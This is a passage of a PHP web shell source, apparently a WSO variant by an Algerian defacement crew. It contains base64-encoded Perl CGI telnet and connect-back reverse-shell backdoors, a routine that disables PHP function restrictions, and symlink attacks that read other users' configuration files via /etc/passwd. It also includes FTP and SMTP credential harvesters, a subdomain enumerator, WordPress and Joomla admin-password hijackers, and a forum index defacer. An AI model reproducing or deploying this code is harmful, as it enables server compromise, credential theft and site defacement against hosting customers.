FRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==
';
$file = fopen("cgi.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("cgi.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgi-telnet/cgi.cin width=100% height=100% frameborder=0></iframe> ";
echo '</div>';
wsoFooter(); }
##################### Tools #########################
function actiontools() {
wsoHeader();
echo'
<center>
<a href=# onclick="g(\'mass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Folders Mass Defacer ]</a><br><br>
<a href=# onclick="g(\'config\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Config Grabber ]</a><br><br>
<a href=# onclick="g(\'configsh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Config Killer ]</a><br><br>
<a href=# onclick="g(\'zoneh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Zone-h Poster ]</a><br><br>
<a href=# onclick="g(\'ftpsmtp\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ FTP And SMTP Config Grabber ]</a><br><br>
<a href=# onclick="g(\'Php\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ PHP Exec ]</a><br><br>
<a href=# onclick="g(\'userchecker\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Web Site Username Checker ]</a><br><br>
<a href=# onclick="g(\'cpcrack\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Cpanel Cracker ]</a><br><br>
<a href=# onclick="g(\'lfiscan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ LFI ]</a><br><br>
<a href=# onclick="g(\'BruteForce\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ FTP BrutForce ]</a><br><br>
<a href=# onclick="g(\'sub\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Sub Domain Checker ]</a><br><br>
<a href=# onclick="g(\'shellfind\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Shell Finder ]</a><br><br>
';
wsoFooter();}
#################### Config Killer #################
function actionconfigsh() {
wsoHeader();
echo'
<center><h1>Config Killer</h1>
<center><form method=post><font color=white size=2 face="comic sans ms">Creat PHP.ini To Bypass Disbale Functions</font><p>
<center><input type="hidden" name="a" value="configsh"><input type=submit name=ini value="PHP.ini" /></form>
<center><form method=post><font color=white size=2 face="comic sans ms">Extract Username To Symlink</font><p>
<cente><input type="hidden" name="a" value="configsh"><input type=submit name="usre" value="Extract Usernames" /></form><br>';
if(isset($_POST['ini']))
{
$r=fopen('php.ini','w');
$rr=" disbale_functions=none ";
fwrite($r,$rr);
$link="<br><a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>PHP.INI</u></font></a>";
echo $link;
}
?>
<?php
if(isset($_POST['usre'])){
?><form method=post>
<textarea rows=10 cols=50 name=user><?php $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}
?></textarea><br><br>
<input type="hidden" name="a" value="configsh"><input type=submit name=su value="Get Symlink !" /></form>
<?php } ?>
<?php
error_reporting(0);
echo "<font size=2 face=\"comic sans ms\">";
if(isset($_POST['su']))
{
mkdir('phdz-root2',0777);
$rr = " Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$g = fopen('phdz-root2/.htaccess','w');
fwrite($g,$rr);
$indishell = symlink("/","phdz-root2/root");
$rt="<a href=phdz-root2/root><font color=white size=3 face=\"comic sans ms\"> Root</font></a>";
echo " [+] Root Symlink<br><u>$rt</u>";
$dir=mkdir('phdz-config2',0777);
$r = " Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$f = fopen('phdz-config2/.htaccess','w');
fwrite($f,$r);
$consym="<a href=phdz-config2/><font color=white size=3 face=\"comic sans ms\">Configs</font></a>";
echo "<br>[+] Config Grabbed<br><u><font size=2 face=\"comic sans ms\">$consym</font></u>";
$usr=explode("
",$_POST['user']);
$configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
foreach($usr as $uss )
{
$us=trim($uss);
foreach($configuration as $c)
{
$rs="/home/".$us."/public_html/".$c;
$r="phdz-config2/".$us." .. ".$c;
symlink($rs,$r);
}
}
}
wsoFooter(); }
#################### FTP SMTP ####################
function actionftpsmtp() {
wsoHeader();
?>
<center>
<h1><b>FTP And SMTP Configs Grabber</b></h1>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<table border=1>
<tr><td><span>Configs Link :</span></td><td><input type="text" size="60" name="url" value="www.gov.dz/phdz-config/"></td></tr>
</table>
<br>
<input type="hidden" name="a" value="ftpsmtp"><INPUT class=submit type="submit" value=">>" >
</FORM>
</font>
</center>
</body>
</html>
<?
if (array_key_exists('form_action', $_POST)){
echo('<center><br><br>');
echo "<span>";
echo "[] Getting Config URL : [] ".$_POST['url'];
$url1=file_get_contents($_POST['url']);
$ar = explode('<li><a href="', $url1);
for($vi=2;$vi < count($ar);$vi++)
{
$var1 = strtok($ar[$vi], " ");
$var1 = substr($var1,0,-2);
$link = $url1.$var1;
$filename = 'jftp.txt';
$fp = fopen($filename, "a+");
$write = fputs($fp, $var1."
");
fclose($fp);
}
echo "<br>";
echo "[] Collected All Config Names []";
echo "<br>";
echo "[] Seperating Joomla Configs []";
echo "<br>";
$joomconfigs=file('jftp.txt');
ini_set("display_errors", "0");
set_time_limit(0);
foreach ($joomconfigs as $joomconfig) {
$pos = strpos($joomconfig,"oomla");
if($pos === false) {
$filename = 'others.txt';
$fp = fopen($filename, "a+");
$write = fputs($fp, $joomconfig."
");
fclose($fp);
}
else {
$filename = 'joomla.txt';
$fp = fopen($filename, "a+");
$write = fputs($fp, $joomconfig."
");
fclose($fp);
}
}
unlink ('jftp.txt');
unlink ('others.txt');
echo "[] Joomla Configs Seperated []";
echo "<br>";
echo "[] Scanning JOOMLA FTP Credentials []";
echo "<br>";
echo ("<center><table border=1 cellspacing=1 cellpading=1>
<tr><th width='400'><span>SMTP DETAILS</span></th><th width=200><span>FTP Host</span></th> <th width=150><span>FTP Username</span></td><th width=150><span>FTP Password</span></td><th width=100><span>ENABLED</span></td></tr>");
$getconfig=file('joomla.txt');
foreach ($getconfig as $gconfig) {
$strlengconfig=strlen($gconfig);
if ($strlengconfig > 2) {
$urltoconfig=$_POST['url']."/".$gconfig;
$getconfig=file_get_contents($urltoconfig);
$ftphost=entre2v2($getconfig,"ftp_host = '","';");
$ftpuser=entre2v2($getconfig,"ftp_user = '","';");
$ftppass=entre2v2($getconfig,"ftp_pass = '","';");
$ftpenable=entre2v2($getconfig,"ftp_enable = '","';");
$smtpuser=entre2v2($getconfig,"smtpuser = '","';");
$smtppass=entre2v2($getconfig,"smtppass = '","';");
$smtphost=entre2v2($getconfig,"smtphost = '","';");
$smtpport=entre2v2($getconfig,"smtpport = '","';");
if ($ftpenable==1){
$ftpenabled="YES";
echo "<center><table border=1 cellspacing=1 cellpading=1>
<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br> </font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='green' face='courier new'> $ftpenabled </font></td></tr></table></center>";
}
else {
$ftpenabled="NO";
echo "<center><table border=1 cellspacing=1 cellpading=1>
<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br></font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='red' face='courier new'> $ftpenabled </font></td></tr></table></center>";
}
}
}
echo"</font>";
echo('</center>');
unlink ('joomla.txt');
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
return trim($ar1[0]);
}
wsoFooter(); }
######################### Web Site Username Checker ##########################
function actionuserchecker() {
wsoHeader();
echo' <center><h1>Web Site Username Checker</h1><br><br>
</center>
</center>
<form method="post"><center>
<input type="text" name="si" value="http://www.gov.dz/"><br />
<input type="hidden" name="a" value="userchecker"><input type="submit" name="b0x" value=">>" ><br></form>
';
$fo = $_POST['si'];
$fo2 = $fo;
$strlen = strlen($fo2);
$fo2 = replace($fo2);
for($i=0;$i<=$strlen;$i++)
{
$words[] = substr($fo2 ,0 ,$i);
}
foreach($words as $users)
{
echo $users."<br>";
if($_POST['b0x'])
{
cURL($fo,$users);
}
}
function cURL($fo,$users)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_URL, $fo."/cgi-sys/guestbook.cgi?user={$users}");
$start = curl_exec($curl);
if(!eregi("Invalid username", $start))
{
echo "<font face='Tahoma' size='2' color='red'><b>{$users}</b></font><br>";
}
return $start;
}
function replace($fo)
{
$search = array('http://','https://','.','-','/','www');
$str = str_replace($search , "", $fo);
return $str;
}
wsoFooetr(); }
####################### sub domain #######################
function actionsub() {
wsoHeader();
echo '<br><center><h1>Subdomain Checker</h1><center><br>';
echo'<html><body><center></br>
<form method="post">
<input type="text" name="site" size="20" placeholder="www.site.com">
<input type="hidden" name="a" value="sub"><input type="submit" value="Check it Please !">
</form>
</font>';
echo '<br><center><span>( Delete http:// )</span><center><br>';
set_time_limit(0);
$subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","dir","directory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimedia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netdata","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserver","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love");
if($_POST){
$url = $_POST["site"];
foreach($subs as $sub){
if(!eregi($url, gethostbyname($sub.".".$url))){
echo '<font face="Baskerville Old Face" color="#df5">'.$sub.".".$url.' : </font><font color="green">'.gethostbyname($sub.".".$url).'</font></br>';
}else{
echo '<font face="Baskerville Old Face" color="#df5">'.$sub.".".$url.' : Nothing Found</font></br>';
}
}
}
wsoFooter();}
####################### Forums #######################
function actionforum() {
wsoHeader();
echo'
<center>
<h1>Wordpress</h1>
<a href=# onclick="g(\'wpsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ WordPress Login Changer From Config ]</a><br><br>
<a href=# onclick="g(\'wpkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ WordPress Login Changer From Keyboard ]</a><br><br>
<center>
<h1>Joomla</h1>
<a href=# onclick="g(\'jmsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Joomla Login Changer From Config ]</a><br><br>
<a href=# onclick="g(\'jmkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Joomla Login Changer From Keyboard ]</a><br><br>
<center>
<h1>Vbulletin</h1>
<a href=# onclick="g(\'vbindex\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Vbulletin index changer ]</a><br><br>
<center>
<h1>PHPBB</h1>
<a href=# onclick="g(\'phpbb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ PHPBB index changer ]</a><br><br>
<center>
<h1>IPB</h1>
<a href=# onclick="g(\'ipb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ IPB index changer ]</a><br><br>
<center>
';
wsoFooter(); }
######################### IPB #######################
function actionipb() {
wsoHeader();
echo'<center><h1> IPB index Changer </h1>
<form method = "POST">
<table border = "1" width="443" height="316" style="text-align: center" align="center">
<tr>
<td height="105" width="780">
<p align="center"><b>Host : </b>
<input type="text" name="f10" size="20" value="localhost"> <b>
DataBase :</b> <input type ="text" name = "f11" size="20"></p>
<p align="center"> <b>User :</b>
<input type ="text" name = "f12" size="20">
<b> Password :</b> <input type ="text" name = "f13" size="20"><p align="center">
<b>Table Prefix:</b><br>
<input type ="text" name = "f14" size="20" value="ibf_skin_sets"></td>
</tr>
<tr>
<td height="167" width="780"><p align="center"> <textarea name="index3" cols=53 rows=9> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
</textarea><p align="center"><input type="hidden" name="a" value="ipb"><input type = "submit" value = "Deface !">
<input type = "reset" value = "Clear"></td>
</tr>
</tr>
</table>';
$localhost3 = $_POST['f10'];
$database3 = $_POST['f11'];
$username3 = $_POST['f12'];
$password3 = $_POST['f13'];
$IPB = $_POST['f14'];
$index3 = $_POST['index3'];
if($database3=$_POST['f11']){
$con3 =@ mysql_connect($localhost3,$username3,$password3) or die;
$db3 =@ mysql_select_db($database3,$con3) or die;
$query3 = "UPDATE $IPB SET set_cache_wrapper = '$index3'" or die;
$result3 =@ mysql_query($query3,$con3);
if($result3){
echo "<p align='center'>
<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
}
else {
echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
}
}
wsoFooter(); }
######################## wp key ############################
function actionwpkey() {
wsoHeader();
{
if(empty($_POST['pwd'])){
echo "<br><br><center><div class='mybox'>
<h1>[ Wordpress login changer ]</h1>
<FORM method='POST'>DB Prefix : <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'> Host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> db : <INPUT class ='inputz' size='10' value='Database' name='database' type='text'> User : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> Pass : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'> <br><br>New User : <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Pass : <INPUT class ='inputz' name='pwd' size='15' value='19620705'><br> <br><input type='hidden' name='a' value='wpkey' ><INPUT class='inputzbut' value='Change it Please' name='send' type='submit'></FORM></div/></center>";
}
else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database'];
$username= $_POST['username'];
$password= $_POST['password'];
$pwd= $_POST['pwd'];
$admin= $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$grab = @mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
$data = @mysql_fetch_array($grab);
$site_url=$data["option_value"];
$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
if($jijle3){echo '<br><br><center><h1>Done ... -> <a href="'.$site_url.'/wp-login.php" target="_blank">Login</a></h1></center>';
}}
echo '</center>';
}
wsoFooter(); }
######################## wp sym ############################
function actionwpsym() {
wsoHeader();
if ($_POST['kill']) {
$url = $_POST['url'];
$user = $_POST['user'];$pass =$_POST['pass'];
$pss = md5($pass);
function enter($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]);
return $explode[0];}$config = file_get_contents($url);$password = enter($config,"define('DB_PASSWORD', '","');");
$username = enter($config,"define('DB_USER', '","');");$db = enter($config,"define('DB_NAME', '","');");$prefix = enter($config,'$table_prefix = \'',"';");$host = enter($config,"define('DB_HOST', '","');");if($config && preg_match('/DB_NAME/i',$config)){$conn= @mysql_connect($host,$username ,$password ) or die ("i can't connect to mysql, check your data");@mysql_select_db($db,$conn) or die (mysql_error());$grab = @mysql_query("SELECT * from `wp_options` WHERE option_name='home'");$data = @mysql_fetch_array($grab);$site_url = $data["option_value"];$query = mysql_query("UPDATE `".$prefix."users` SET `user_login` = '".$user."',`user_pass` = '".$pss."' WHERE `ID` = 1");if ($query) {echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">'.$site_url.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$pass.'</td><td width="20%"><a href="'.$site_url.'/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';} else echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';} else die('<center><h2 class="jijle3">Jijle3@phdz:~# This is Not WordPress Config !</h2>');} else { ?> <center><br><br><div class="mybox"><form method="post">
<h1 style='font-size:26px;' class='jijle3'>[ Wordpress Login changer From Config ]</h1>
<br>
<table><tr><td>Config File Link : </td><td>
<input size="26" class="inputz" type="text" name="url" value="">
</td></tr><tr><td>New User : </td><td>
<input class="inputz" type="text" name="user" size="26" value="jijle3"></td>
</tr><tr><td>New Pass : </td><td>
<input class="inputz" type="text" size="26" name="pass" value="jijle3"></td></tr><tr><td>
<br></td></tr><tr><td>
